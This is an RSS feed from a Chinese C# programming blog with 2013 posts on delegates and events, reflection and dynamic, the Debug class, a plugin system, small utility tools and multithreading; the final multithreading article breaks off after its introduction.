<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>C＃ on bystander&#39;s blog</title>
    <link>http://blog.leaver.me/tags/c/</link>
    <description>Recent content in C＃ on bystander&#39;s blog</description>
    <generator>Hugo</generator>
    <language>zh-CN</language>
    <lastBuildDate>Tue, 25 Jun 2013 08:48:20 +0000</lastBuildDate>
    <atom:link href="http://blog.leaver.me/tags/c/rss.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>委托和事件示例</title>
      <link>http://blog.leaver.me/2013/06/25/%E5%A7%94%E6%89%98%E5%92%8C%E4%BA%8B%E4%BB%B6%E7%A4%BA%E4%BE%8B/</link>
      <pubDate>Tue, 25 Jun 2013 08:48:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/25/%E5%A7%94%E6%89%98%E5%92%8C%E4%BA%8B%E4%BB%B6%E7%A4%BA%E4%BE%8B/</guid>
      <description>&lt;p&gt;C#中委托和事件的例子比较多，讲得好的非常好，就不瞎凑热闹了，推荐博客园大牛的一篇：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.tracefact.net/csharp-programming/delegates-and-events-in-csharp.aspx&#34;&gt;C# 中的委托和事件&lt;/a&gt; ，如果你已经有了相应的基础，但没写过相关的例子，那我这里提供一个，首先看一下规范&lt;/p&gt;
&lt;p&gt;.Net Framework的编码规范：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;委托类型的名称都应该以EventHandler结束。&lt;/li&gt;
&lt;li&gt;委托的原型定义：有一个void返回值，并接受两个输入参数：一个Object 类型，一个 EventArgs类型(或继承自EventArgs)。&lt;/li&gt;
&lt;li&gt;事件的命名为 委托去掉 EventHandler之后剩余的部分。&lt;/li&gt;
&lt;li&gt;继承自EventArgs的类型应该以EventArgs结尾。
然后描述一下流程：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;老板监视时间变动（ComputerOffWorkTime方法），当工作时间满50后，通知员工时间到（OnNotifyOffWork方法，并传递OffWorkEventArgs参数），可以下班了，（OnNotifyOffWork方法内部调用事件NotifyOffWork），正式员工收到通知后，则下班，其他员工则清扫一下办公室&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;然后给出例子：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt;using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace DelegateAndEvent
{

    public class Boss
    {
        //表示工作时间
        private int virTime;
        //下班时老板说的话
        public String SaidWords
        {
            get { return &#34;Boss:时间到，下班了&#34;; }
        }
        //委托定义
        public delegate void NotifyOffWorkEventHandler(Object sender, OffWorkEventArgs e);

        //事件
        public event NotifyOffWorkEventHandler NotifyOffWork;
        //事件参数
        public class OffWorkEventArgs:EventArgs
        {
            public readonly int virTime;
            public OffWorkEventArgs(int virTime)
            {
                this.virTime = virTime;
            }
        }
        //触发事件
      protected void OnNotifyOffWork(OffWorkEventArgs e)
        {
            if (NotifyOffWork!=null)
            {
                NotifyOffWork(this, e);
            }
        }

        //执行操作
        public void ComputerOffWorkTime()
        {
            for (int i = 1; i &amp;lt;= 50; i++)
            {
                virTime = i;
                if (i&amp;gt;=50)
                {
                    OffWorkEventArgs e = new OffWorkEventArgs(i);
                    OnNotifyOffWork(e);
                }
            }
        }
    }
    //正式员工
    public class FormalEmployee
    {
        public static void GoHome(Object sender, Boss.OffWorkEventArgs e)
        {
            Boss boss = (Boss) sender;
            Console.WriteLine(boss.SaidWords);
            Console.WriteLine(e.virTime);
            Console.WriteLine(&#34;FormalEmployee:准备回家&#34;);

        }
    }
    //其他员工
    public class OtherEmployee
    {
        public static void CleanOffice(Object sender, Boss.OffWorkEventArgs e)
        {
            Boss boss = (Boss)sender;
            Console.WriteLine(boss.SaidWords);
            Console.WriteLine(e.virTime);
            Console.WriteLine(&#34;OtherEmployee:准备清扫办公室&#34;);
        }
    }
    public class Program
    {

        static void Main(string[] args)
        {
           Boss boss=new Boss();
            //注册事件
            boss.NotifyOffWork += FormalEmployee.GoHome;
            boss.NotifyOffWork += OtherEmployee.CleanOffice;
            //老板开始计时
            boss.ComputerOffWorkTime();
        }
    }

}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>DMP版本修改工具(C#)</title>
      <link>http://blog.leaver.me/2013/06/11/dmp%E7%89%88%E6%9C%AC%E4%BF%AE%E6%94%B9%E5%B7%A5%E5%85%B7c/</link>
      <pubDate>Tue, 11 Jun 2013 16:05:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/06/11/dmp%E7%89%88%E6%9C%AC%E4%BF%AE%E6%94%B9%E5%B7%A5%E5%85%B7c/</guid>
      <description>&lt;p&gt;最近在使用oracle导入一个dmp文件的时候，由于不知道dmp文件是如何导出的，是使用exp还是expdp导出的，所以纠结了比较长的时间，最后想到是否可以查看dmp文件的一些辅助信息呢，于是有了这个工具。&lt;/p&gt;
&lt;p&gt;在使用dmp导入的时候报如下错误&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;IMP-00010: 不是有效的导出文件，标题验证失败
IMP-00000: 未成功终止导入&lt;/pre&gt;
&lt;p&gt;据说有两个可能，1个是文件本身损坏，另一个是版本问题，多出现在高版本导出的数据向低版本导入。解决方法就是修改一下dmp文件就行了。dmp文件头部大概9个字节处标识了版本号用来头部验证。对于非常大的dmp我们不能直接用文本编辑器打开，因此找找资料，写个工具。本机一个12GB的文件已测试。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/37341_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/71a2a354a4dd2867eb60f08548a9da16870e4949.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;工具使用很简单，选择文件，识别出来版本，按格式改成导入端oracle的版本值，然后即可正常导入11G-10G测试成功。&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=2717736101&amp;amp;uk=1493685990&#34;&gt;DMP版本修改工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]反射(Reflection)和动态(dynamic)</title>
      <link>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</link>
      <pubDate>Mon, 27 May 2013 08:47:34 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/27/%E8%AF%91%E5%8F%8D%E5%B0%84reflection%E5%92%8C%E5%8A%A8%E6%80%81dynamic/</guid>
      <description>&lt;h1 id=&#34;反射&#34;&gt;反射&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;当我们需要检查，调用一个程序集的内容的时候，用反射，比如，当VS给智能提示的时候，就应用了反射。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法实例&#34;&gt;简单用法实例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;var myAssembly = Assembly.LoadFile(@&#34;C:\ClassLibrary1.dll&#34;);
var myType = myAssembly.GetType(&#34;ClassLibrary1.Class1&#34;);
dynamic objMyClass = Activator.CreateInstance(myType);
// 获取类的类型信息
Type parameterType = objMyClass.GetType();
&lt;p&gt;// 浏览方法
foreach (MemberInfo objMemberInfo in parameterType.GetMembers())
{Console.WriteLine(objMemberInfo.Name);}&lt;/p&gt;
&lt;p&gt;// 浏览属性.
foreach (PropertyInfo objPropertyInfo in parameterType.GetProperties())
{Console.WriteLine(objPropertyInfo.Name);}&lt;/p&gt;
&lt;p&gt;//开始调用
parameterType.InvokeMember(&amp;ldquo;Display&amp;rdquo;,BindingFlags.Public | 
BindingFlags.NonPublic | BindingFlags.InvokeMethod | 
BindingFlags.Instance,null, objMyClass, null);&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际一点的用处呢&#34;&gt;实际一点的用处呢：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;1.当你也要开发一个类似VS的编辑器的时候，要提供智能提示就需要反射&lt;/div&gt;
&lt;div&gt;2.当创建单元测试框架的时候，为了测试需要动态调用方法和属性的时候&lt;/div&gt;
&lt;div&gt;3.有时候我们想把类型的属性，方法等全部导出的时候&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;动态dynamic&#34;&gt;动态dynamic&lt;/h1&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;编程语言分为强/弱类型，dynamic是弱类型，此关键字会让编译器不做编译时的类型检查，只做运行时的检查。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;简单用法示例&#34;&gt;简单用法示例：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic x = &#34;c#&#34;;
x++;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;所以上面这行代码可以编译通过，但会产生运行时一场。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h2 id=&#34;实际用处&#34;&gt;实际用处：&lt;/h2&gt;
&lt;p&gt; &lt;/p&gt;
&lt;div&gt;最多的就是通过互操作来操作Office组件的时候了&lt;/div&gt;
&lt;div&gt;没有dynamic的时候&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;/ Before the introduction of dynamic.
Application excelApplication = new  Application();
((Excel.Range)excelApp.Cells[1, 1]).Value2 = &#34;Name&#34;;
Excel.Range range2008 = (Excel.Range)excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;有了dynamic之后世界就不一样了&lt;/div&gt;
&lt;div&gt;
&lt;pre lang=&#34;cs&#34;&gt;dynamic excelApp = new Application();
excelApp.Cells[1, 1].Value = &#34;Name&#34;;
Excel.Range range2010 = excelApp.Cells[1, 1];&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;h1 id=&#34;两者的区别和联系呢&#34;&gt;两者的区别和联系呢&lt;/h1&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;1.当我们想要在运行时操作一个对象的时候，就会用到这两个&lt;/div&gt;
&lt;div&gt;2.反射可以用来检测对象的元数据，也能在运行时调用对象的方法和属性&lt;/div&gt;
&lt;div&gt;3.dynamic是.net 4.0新出的关键字，知道方法被调用的时候，编译器才会晓得这个方法到底有还是没有。&lt;/div&gt;
&lt;div&gt;4.dynamic内部是使用反射来实现的，它缓存了方法调用来提高性能&lt;/div&gt;
&lt;div&gt;5.反射可以调用公有和私有成员，而dynamic智能调用用公有成员&lt;/div&gt;
&lt;div&gt;6.dynamic是实例相关的，无法访问静态成员，这种情况下使用反射吧。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;
&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;**Reflection**&lt;/td&gt;
&lt;td&gt;**Dynamic**&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Inspect (meta-data) **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke public members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Invoke private members**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Caching**&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&#34;163&#34;&gt;**Static class **&lt;/td&gt;
&lt;td width=&#34;68&#34;&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
再来一张图...
[![](/images/d0e1ec824f1199a847d9a16237673a4a299e0dce.jpg)](http://leaverimage.b0.upaiyun.com/36512_o.jpg)
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;译自：[http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly](http://www.codeproject.com/Articles/593881/What-is-the-difference-between?utm_source=feedly)&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;</description>
    </item>
    <item>
      <title>武汉大学论文参考文献格式生成工具(C#)</title>
      <link>http://blog.leaver.me/2013/05/24/%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%BA%E6%96%87%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE%E6%A0%BC%E5%BC%8F%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7c/</link>
      <pubDate>Fri, 24 May 2013 11:31:19 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/24/%E6%AD%A6%E6%B1%89%E5%A4%A7%E5%AD%A6%E8%AE%BA%E6%96%87%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE%E6%A0%BC%E5%BC%8F%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7c/</guid>
      <description>&lt;p&gt;每次写论文报告什么的，最头疼的就是参考文献的，本来打算写一个论文格式生成工具的，不过，一想起代码量，就有点吓人，所以分而治之，先写参考文献生成工具.&lt;/p&gt;
&lt;p&gt;本工具生成的文献格式符合武汉大学本科生论文的格式要求，因此，放心使用，填写内容都是必填，页码什么的要是不知道就随便填一个..你懂的..有问题请留言反馈。&lt;/p&gt;
&lt;p&gt;程序提供8种参考文献类型，第9种电子文献，没有实现，因为感觉在论文中参考文献要是网址的话很难看.而且用的不多..其实主要还是懒..每种文献类型需要填写的信息都不一样，8种&amp;hellip;8种&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/36356_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0a81d82d86007c82e327e9c0bbce1e32bb637f0e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用方法：&lt;/p&gt;
&lt;p&gt;1.在界面右侧选择参考文献类型，然后填写。添加，左侧将会出现&lt;/p&gt;
&lt;p&gt;2.如果填写错误，双击左侧条目，即可删除&lt;/p&gt;
&lt;p&gt;3.完成后导出，即可在本目录生成docx文档&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=510063&amp;amp;uk=1493685990&#34;&gt;武汉大学论文参考文献格式生成工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>[已失效]Csdn免积分下载器</title>
      <link>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</link>
      <pubDate>Wed, 01 May 2013 20:39:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/05/01/%E5%B7%B2%E5%A4%B1%E6%95%88csdn%E5%85%8D%E7%A7%AF%E5%88%86%E4%B8%8B%E8%BD%BD%E5%99%A8/</guid>
      <description>&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;转载请注明来源:&lt;a href=&#34;http://leaver.me&#34;&gt;http://leaver.me&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;原理很简单，目前好像还没有大规模传开，我就不透露了，大家低调使用.为了方便，我写了个客户端，下载地址在文章末尾&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/35412_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c14131e3f22197232347a8230c51cb661e50f167.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;使用方法直接把你想下载的地址复制过去，点击下载就会调用ie来下载了.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;文章太短了，发两个可乐的吧：&lt;/p&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;第一个是：&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;＂网上发言，请不要随便自称笔者，毕竟有没有在用笔在写一目了然。这个词汇已经要汇入历史长河了，虽然曾经的那么疯狂存在过，但至少在互联网上该消失了。＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂那以后自称什么？＂&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;＂键人。＂&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第二个：&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;---光棍君：五一快到了，你还是一个人吗？&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;  ---你MB，难道我会变成狗吗？&lt;/div&gt;
&lt;div&gt;----------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div&gt;第一个冷笑话，第二个是热笑话，冷暖自知。一个成语瞬间提升了整篇文章的境界。&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
下载地址：[Csdn下载器](http://pan.baidu.com/share/link?shareid=468747&amp;amp;uk=1493685990)</description>
    </item>
    <item>
      <title>[E].Net 多线程指南</title>
      <link>http://blog.leaver.me/2013/03/06/e.net-%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8C%87%E5%8D%97/</link>
      <pubDate>Wed, 06 Mar 2013 22:28:20 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/06/e.net-%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8C%87%E5%8D%97/</guid>
      <description>&lt;p&gt;这是codeproject上的一个系列。我看完了。收获匪浅。可惜作者之后未能更新预想中的总结贴，多少有些可惜，不过。此系列非常非常不错。建议想学习.net多线程的看看。&lt;/p&gt;
&lt;p&gt;1.net 多线程介绍 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet.aspx&#34;&gt;Introduction into threading in .NET&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2.线程周期/线程优势/陷阱 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet2.aspx&#34;&gt;Lifecycle of threads/Threading opportunities/Traps &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3.线程同步 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet3.aspx&#34;&gt;Synchronization&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4.线程池 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet4.aspx&#34;&gt;Thread Pools&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5.UI中的线程应用 &lt;a href=&#34;http://www.codeproject.com/KB/threads/ThreadingDotNet5.aspx&#34;&gt;Threading in UIs (WinForms / WPF / Silverlight)&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的Debug类</title>
      <link>http://blog.leaver.me/2013/03/01/c%23%E4%B8%AD%E7%9A%84debug%E7%B1%BB/</link>
      <pubDate>Fri, 01 Mar 2013 22:57:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/03/01/c%23%E4%B8%AD%E7%9A%84debug%E7%B1%BB/</guid>
      <description>&lt;p&gt;位于命名空间System.Diagnostics中
1.Debug.Print方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.Print(&#34;Today: {0}&#34;, DateTime.Today);&lt;/pre&gt; 
&lt;p&gt;2.Debug.WriteLine方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.WriteLine(&#34;Have a nice day&#34;);&lt;/pre&gt; 
&lt;p&gt;3.TraceListener类&lt;/p&gt;
&lt;p&gt;DelimitedListTraceListener创建的时候指定一个文件名，当Flush调用的时候，就被覆写到文件里。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;TraceListener listener = new DelimitedListTraceListener(@&#34;C:\debugfile.txt&#34;);

        // Add listener.
        Debug.Listeners.Add(listener);

        // Write and flush.
        Debug.WriteLine(&#34;Welcome&#34;);
        Debug.Flush();&lt;/pre&gt; 
&lt;p&gt;4.Debug.Write和WriteIf以及WriteLineIf方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.WriteLineIf(IsThursday(), &#34;Thursday&#34;);
&lt;/pre&gt; 
&lt;p&gt;第一个参数一个bool值，为真则输出。&lt;/p&gt;
&lt;p&gt;5.Debug.Assert方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;Debug.Assert(value != -1, &#34;Value must never be -1.&#34;);&lt;/pre&gt; 
&lt;p&gt;如果表达式为false，则输出。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#反射实现简单的插件系统</title>
      <link>http://blog.leaver.me/2013/02/21/c%23%E5%8F%8D%E5%B0%84%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%92%E4%BB%B6%E7%B3%BB%E7%BB%9F/</link>
      <pubDate>Thu, 21 Feb 2013 08:28:27 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/21/c%23%E5%8F%8D%E5%B0%84%E5%AE%9E%E7%8E%B0%E7%AE%80%E5%8D%95%E7%9A%84%E6%8F%92%E4%BB%B6%E7%B3%BB%E7%BB%9F/</guid>
      <description>&lt;p&gt;如果用过一些优秀的开源或是非开源的应用软件，就会发现这些软件的一个很大的优势就是其开放性，任何有能力的人都可以为其开发不同的插件来增强其的功能。比如著名的foobar2000，Vim和TotalCommander等等。&lt;/p&gt;
&lt;p&gt;C#的反射可以用来实现一个简单的插件系统。思路很简单，我们创建一个解决方案，包含三个工程，一个为我们的软件MyApplication，一个为插件接口IPlugin，一个为具体的插件MyPlugin。插件系统的基本思路是我们用一个接口类库,来定义我们软件可以使用的插件必须实现的方法签名。然后我们的软件MyApplication通过引用该IPlugin dll来动态调用，而具体的实现插件MyPlugin则引用该接口来实现具体的方法。这样我们的应用程序就能在不知道具体插件的情况下调用插件了。。&lt;/p&gt;
&lt;p&gt;结构图如下：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32896_o.jpg&#34;&gt;&lt;img alt=&#34;Myapplication&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bf202a9b50d5ce497f88718743c344d8579fadf1.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关键代码也就是通过对程序集载入。搜索到对应接口的实现类。然后调用即可。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;Assembly a = Assembly.LoadFrom(AssemblyName);
                foreach (Type t in a.GetTypes())
                {
                    if (t.GetInterface(&#34;IMyFunction&#34;) != null)
                    {
                        try
                        {
                            IMyFunction pluginclass = Activator.CreateInstance(t) as IMyFunction;
                            pluginclass.doSomething();
                        }
                        catch (Exception ex)
                        {
                            MessageBox.Show(ex.ToString());
                        }
                    }
                }&lt;/pre&gt;
&lt;p&gt;运行结果：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32897_o.jpg&#34;&gt;&lt;img alt=&#34;QQ截图20130220200408&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/6c33ac761faef8c7d4beae4a478b4240cdeb7ee3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=302323&amp;amp;uk=1493685990&#34;&gt;PluginSystem.zip&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#多线程揭秘</title>
      <link>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</link>
      <pubDate>Tue, 12 Feb 2013 16:31:22 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/12/c%23%E5%A4%9A%E7%BA%BF%E7%A8%8B%E6%8F%AD%E7%A7%98/</guid>
      <description>&lt;p&gt;文章略长。。。
Demo下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=290200&amp;amp;uk=1493685990&#34;&gt;Demo.Threading.zip&lt;/a&gt;
&lt;strong&gt;介绍&lt;/strong&gt;
本文将通过一些例子来展示.net 中如何实现多线程，涉及到以下四部分。
1 .线程概念
2 .如何实现多线程
3 .如何确保线程安全
4 .死锁&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是进程&lt;/strong&gt;
一个进程就是一个可执行文件运行的操作系统上下文环境。它被用来分隔虚拟地址空间，线程，对象句柄（指向类似文件这样的资源的指针），以及环境变量，进程还有一些类似优先级类和最大内存分配的属性。&lt;/p&gt;
&lt;p&gt;也就是说：
1 .一个进程就是一个包含资源的内存块。
2 .操作系统执行的一个单独的任务。
3 .一个正在运行的软件
4 .一个进程拥有一个/多个操作系统线程&lt;/p&gt;
&lt;p&gt;一般的。一个进程最大可以是4GB的内存空间，这块内存是安全，私有，其他进程是无法访问的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是线程&lt;/strong&gt;
一个线程就是在一个进程里执行的一条指令流，所有的线程都在一个进程里执行，也就是一个进程可以包含多个线程。线程公用进程的虚拟地址空间。线程是操作系统的调度单元。一个线程的上下文由操作系统进行保存/恢复。
也就是说：
1 .一个线程是进程里的一条指令流。
2 .所有的线程在进程里。一个进程可以有多个线程
3 .一个进程的所有线程使用进程的虚拟地址空间。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;什么是多线程&lt;/strong&gt;
多线程指的是进程同时有多个线程活动。这可以通过时间片的线程模拟或是多cpu上的超线程来实现。可以提高性能。
&lt;strong&gt;多线程-为什么或是为什么不?&lt;/strong&gt;
为什么多线程
1 .保持UI响应。
2 .提高性能(对于cpu密集型和I/O密集型的进程)
为什么不多线程
1 .过度使用降低性能
2 .代码复杂，增加设计时间，潜在的bug&lt;/p&gt;
&lt;p&gt;线程池
线程池为你的程序提供了一个由操作系统管理的机制。在线程池里的都是后台线程。一个线程池线程在程序的前台线程都退出后，也会推出。每个进程一个线程池。默认情况下。每个处理器会为进程分配25个线程。但是可以通过SetMaxThreads  方法来改变。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;.net 中的线程&lt;/strong&gt;
在.net 中，线程可以通过下面6个方法来实现。
1 .Thread线程类
2 .Delegates委托
3 .Background Worker
4 .ThreadPool 线程池
5 .Task任务类
6 .Parallel并行类&lt;/p&gt;
&lt;p&gt;下面的几部分里。我将逐一展示实现方法。&lt;/p&gt;
&lt;p&gt;简而言之，多线程就是通过使程序同时运行多个任务来最大化计算机能力，同时能够保持UI响应。下图是一个例子的图示。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32605_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/472b9c05527afb3cb133d1d5689cdca367412bc0.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码&lt;/strong&gt;
提供的源码是一个简单的WinForm程序。模拟了.net中委托，线程类和Background Worker三种方法。
程序异步执行一个繁重的操作，这样UI就不会无响应。三个方法都是模拟的。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/32606_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a0567e4556b306284f9d9793d2879ae6716dae23.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个“繁重”的操作
真实的开发中，这个繁重的操作从轮询数据库到流媒体操作都可以。基本上可以是任何事情。源码里面是向一个字符串追加值。String是不能变的。追加的时候，新的字符串变量会被创建，旧的会被丢弃，这是由CLR处理的。如果做很多次这个操作，是很耗资源的。这也是为什么我们使用Stringbuilder.Append 来代替这个操作。通过调整界面中的次数。可以通知追加的次数。&lt;/p&gt;
&lt;p&gt;后面我们有一个Utility泪，有一个LoadData() 方法。类里面也有一个和LoadData() 有着同样签名的委托&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class Utility
{
    public delegate string delLoadData(int number);
    public static delLoadData dLoadData;

    public Utility()
    {

    }

    public static string LoadData(int max)
    {
        string str = string.Empty;

        for (int i = 0; i &amp;lt; max; i++)
                                {
            str += i.ToString();
                                }

        return str;
    }
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;同步调用&lt;/strong&gt;
